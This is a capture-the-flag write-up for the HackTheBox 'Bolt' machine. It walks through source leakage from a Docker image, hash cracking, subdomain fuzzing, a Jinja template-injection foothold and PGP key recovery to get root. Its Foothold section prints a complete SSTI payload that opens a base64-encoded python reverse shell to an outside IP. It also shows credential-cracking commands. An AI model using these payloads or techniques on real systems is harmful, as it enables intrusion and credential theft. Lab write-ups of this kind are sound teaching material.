Hello everyone , in this post I will be sharing my writeup for HTB-Bolt machine which was a medium rated linux machine ,starting off with nmap scan we see ssh , http and https service running , we can find a docker image file from the bolt.htb
domain which has the source code of the web page that reveals that the web application is made in flask also we get an invitation code which works on one of the subdomain that can be found with wfuzz
, demo.bolt.htb
,mail.bolt.htb
and passbolt.bolt.htb
, on registering an account we went back to the source code and looking at what could be vulnerable in the application and turns out that there’s a SSTI on updating the profile as it takes the username input in a template and sends it on the mail subdomain from which we can get remote code execution as www-data
. Digging into passbolt files we can password for the database it’s using and that same password allowed us to escalate to eddie
, then grabbing the pgp message from the database and decrypting it with the pgp private key granted us root access on the box.
NMAP
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
443/tcp open ssl/http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Issuer: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-02-24T19:11:23
| Not valid after: 2022-02-24T19:11:23
| MD5: 3ac3 4f7c ee22 88de 7967 fe85 8c42 afc6
| SHA-1: c606 ca92 404f 2f04 6231 68be c4c4 644f e9ed f132
The scan shows us only three ports out which http and https is interesting for us ,also it enumerates the domain names from the ssl certificate so let’s add this to /etc/hosts
file
PORT 80 (HTTP)
I tried to register on the site but it gave me a 500 status code error
But it gives us an option to download a file that says the web package is ready to start so maybe the source code must be in that file
The file that gets download is an tar archive that we can extract using the command tar -xf layer.tar
We can see some folders and inside every folder there’s going to be a layer.tar
file
So after extracting every tar file (manually) , I search around folders and found different versions of source code of web page but was not sure if the flask code was for that Boilerplate Code Jinja
site as there were 3 routes.py
file having some changes in it, find database information user and password from config.py
The routes.py
files that I found were
# -*- encoding: utf-8 -*-
"""
Copyright (c) 2019 - present AppSeed.us
"""from flask import jsonify, render_template, redirect, request, url_for
from flask_login import (
current_user,
login_required,
login_user,
logout_user
)from app import db, login_manager
from app.base import blueprint
from app.base.forms import LoginForm, CreateAccountForm
from app.base.models import User
from hmac import compare_digest as compare_hash
import crypt@blueprint.route('/')
def route_default():
return redirect(url_for('base_blueprint.login'))## Login & Registration@blueprint.route('/login', methods=['GET', 'POST'])
def login():
login_form = LoginForm(request.form)
if 'login' in request.form:
# read form data
username = request.form['username']
password = request.form['password'] # Locate user
user = User.query.filter_by(username=username).first()
# Check the password
stored_password = user.password
stored_password = stored_password.decode('utf-8')
if user and compare_hash(stored_password,crypt.crypt(password,stored_password)): login_user(user)
return redirect(url_for('base_blueprint.route_default')) # Something (user or pass) is not ok
return render_template( 'accounts/login.html', msg='Wrong user or password', form=login_form) if not current_user.is_authenticated:
return render_template( 'accounts/login.html',
form=login_form)
return redirect(url_for('home_blueprint.index'))@blueprint.route('/register', methods=['GET', 'POST'])
def register():
login_form = LoginForm(request.form)
create_account_form = CreateAccountForm(request.form)
if 'register' in request.form: username = request.form['username']
email = request.form['email' ]
data = User.query.filter_by(email=email).first()
if data is None:
# Check usename exists
user = User.query.filter_by(username=username).first()
if user:
return render_template( 'accounts/register.html',
msg='Username already registered',
success=False,
form=create_account_form) # Check email exists
user = User.query.filter_by(email=email).first()
if user:
return render_template( 'accounts/register.html',
msg='Email already registered',
success=False,
form=create_account_form) # else we can create the user
user = User(**request.form)
db.session.add(user)
db.session.commit() return render_template( 'accounts/register.html',
msg='User created please <a href="/login">login</a>',
success=True,
form=create_account_form) else:
return render_template( 'accounts/register.html', form=create_account_form)@blueprint.route('/logout')
def logout():
logout_user()
return redirect(url_for('base_blueprint.login'))## Errors@login_manager.unauthorized_handler
def unauthorized_handler():
return render_template('page-403.html'), 403@blueprint.errorhandler(403)
def access_forbidden(error):
return render_template('page-403.html'), 403@blueprint.errorhandler(404)
def not_found_error(error):
return render_template('page-404.html'), 404@blueprint.errorhandler(500)
def internal_error(error):
return render_template('page-500.html'), 500
There was another version for this code which included a invite code when creating an account
# -*- encoding: utf-8 -*-
"""
Copyright (c) 2019 - present AppSeed.us
"""from flask import jsonify, render_template, redirect, request, url_for
from flask_login import (
current_user,
login_required,
login_user,
logout_user
)from app import db, login_manager
from app.base import blueprint
from app.base.forms import LoginForm, CreateAccountForm
from app.base.models import User
from hmac import compare_digest as compare_hash
import crypt@blueprint.route('/')
def route_default():
return redirect(url_for('base_blueprint.login'))## Login & Registration@blueprint.route('/login', methods=['GET', 'POST'])
def login():
login_form = LoginForm(request.form)
if 'login' in request.form:
# read form data
username = request.form['username']
password = request.form['password'] # Locate user
user = User.query.filter_by(username=username).first()
# Check the password
stored_password = user.password
stored_password = stored_password.decode('utf-8')
if user and compare_hash(stored_password,crypt.crypt(password,stored_password)): login_user(user)
return redirect(url_for('base_blueprint.route_default')) # Something (user or pass) is not ok
return render_template( 'accounts/login.html', msg='Wrong user or password', form=login_form) if not current_user.is_authenticated:
return render_template( 'accounts/login.html',
form=login_form)
return redirect(url_for('home_blueprint.index'))@blueprint.route('/register', methods=['GET', 'POST'])
def register():
login_form = LoginForm(request.form)
create_account_form = CreateAccountForm(request.form)
if 'register' in request.form: username = request.form['username']
email = request.form['email' ]
code = request.form['invite_code']
if code != 'XNSS-HSJW-3NGU-8XTJ':
return render_template('code-500.html')
data = User.query.filter_by(email=email).first()
if data is None and code == 'XNSS-HSJW-3NGU-8XTJ':
# Check usename exists
user = User.query.filter_by(username=username).first()
if user:
return render_template( 'accounts/register.html',
msg='Username already registered',
success=False,
form=create_account_form) # Check email exists
user = User.query.filter_by(email=email).first()
if user:
return render_template( 'accounts/register.html',
msg='Email already registered',
success=False,
form=create_account_form) # else we can create the user
user = User(**request.form)
db.session.add(user)
db.session.commit() return render_template( 'accounts/register.html',
msg='User created please <a href="/login">login</a>',
success=True,
form=create_account_form) else:
return render_template( 'accounts/register.html', form=create_account_form)@blueprint.route('/logout')
def logout():
logout_user()
return redirect(url_for('base_blueprint.login'))## Errors@login_manager.unauthorized_handler
def unauthorized_handler():
return render_template('page-403.html'), 403@blueprint.errorhandler(403)
def access_forbidden(error):
return render_template('page-403.html'), 403@blueprint.errorhandler(404)
def not_found_error(error):
return render_template('page-404.html'), 404@blueprint.errorhandler(500)
def internal_error(error):
return render_template('page-500.html'), 500
But the site that is on port 80 doesn’t take invite_code
as POST parameter. Moving on I also found a db.sqlite3
file having an email and hash which we can try to crack it
Since it’s a md5crypt hash it can be cracked so using hashcat
we get the password deadbolt
But this password didn’t worked on boilerplate site , since we are given a domain name maybe let’s do some subdomain enumeration , let’s use wfuzz
to find other subdomains
wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u 'http://bolt.ht
b' -H "Host: FUZZ.bolt.htb" --sc 200
This gives us some results which wont’ lead to anywhere we can filter or hide them through lines, words or characters but I usually use hide lines
filter
And here we found two more subdomains mail.bolt.htb
and demo.bolt.htb
. I visited the mail subdomain first and tried the creds there but it didn't work
On to the demo subdomain , we see that it’s the same as bolt site but what’s different here is that it’s asking for a invite code so recall that we found a flask code that had an invite code so let’s try using that
Now at this point , I got stuck , didn’t found anything on this domain and it all seems like static html pages so I went back to see the flask code and saw that there’s an “experimental feature” that’s taking name
,experience
and skills
from the profile page
<html>
<body>
<p> %s </p>
<p> This e-mail serves as confirmation of your profile username changes.</p>
</body>
</html>
This is the update-name.html
html page which is printing the value of name
input field as it's being passed to this page through the jinja template engine
So this seems like SSTI can take place so let’s try this with {{7*'7'}}
After sending this , we need to login to mail.bolt.htb
by using the creds we registered at demo.bolt.htb
When we will click this link to confirm changes , we’ll get another email displaying the name
value with our SSTI payload and this 7777777
confirms that it's using jinja
template engine
Foothold
Getting a shell is now simple , we just need to do a python3 reverse shell so I am going to base64 encode the reverse shell as bash is going to give errors on quotations
So SSTI payload will look like this
{{config.__class__.__init__.__globals__['os'].popen('echo "cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTAuMTQuOTUiLDIyMjIpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=" |base64 -d | bash').read()}}
Then just put this in name input field like we did earlier and then start nc
Stabilize the shell with python3
Privilege Escalation (Eddie)
Running pspy
to see what cronjobs or background tasks are running we can see that cake
is being run in passbolt
directory so I did a search for passbolt through find
command.
Here /etc/passbolt
is interesting to see as this holds the database configuration file which is passbolt.php
I used this password on mysql database and it worked but I didn’t found anything but two emails
Here we have two emails but when we visit passbolt.bolt.htb
and it will say that it has sent a verification link on email
PORT 443 (HTTPS)
i tried to find out where could the link be sent , checked all tables in database but found nothing , then just tried to see if there’s a password resue on either one of the users on the machine and I was able to switch to eddie
Privilege Escalation (Root)
I saw a PGP message in database in email_quries
table
It’s message which is in eddie
's account so we would need his pgp private key to decrypt this message. I search manually in eddie's home folder but didn't found anything , so ran a simple find
command
find / -user eddie 2>/dev/null | grep -v '/proc
Reading this message it’s saying that we should be able to login into passbolt
without our private key also it refers to a security paper so passbolt
I googled for white paper on passbolt’s security and found that the private key is stored in local storage of browser’s extension
So I went to /home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf
and found the log file which had the prrivate pgp key
We can copy and paste the private key in a text file and format it
After getting both the private key and message , running gpg
on message file will tells us that which key id it's encrypted with
So we do have the correct private key but if we try to import this private key , it’s going to ask for a password
Here we would have to use gpg2john
to get the hash of pgp private key and then crack the hash using rockyou.txt
wordlist with john
John , took a lot of time in cracking the hash
After importing the key with the secret we can then decrpy the pgp message
We have a password so why not try this on root user
And with this rooted this machine.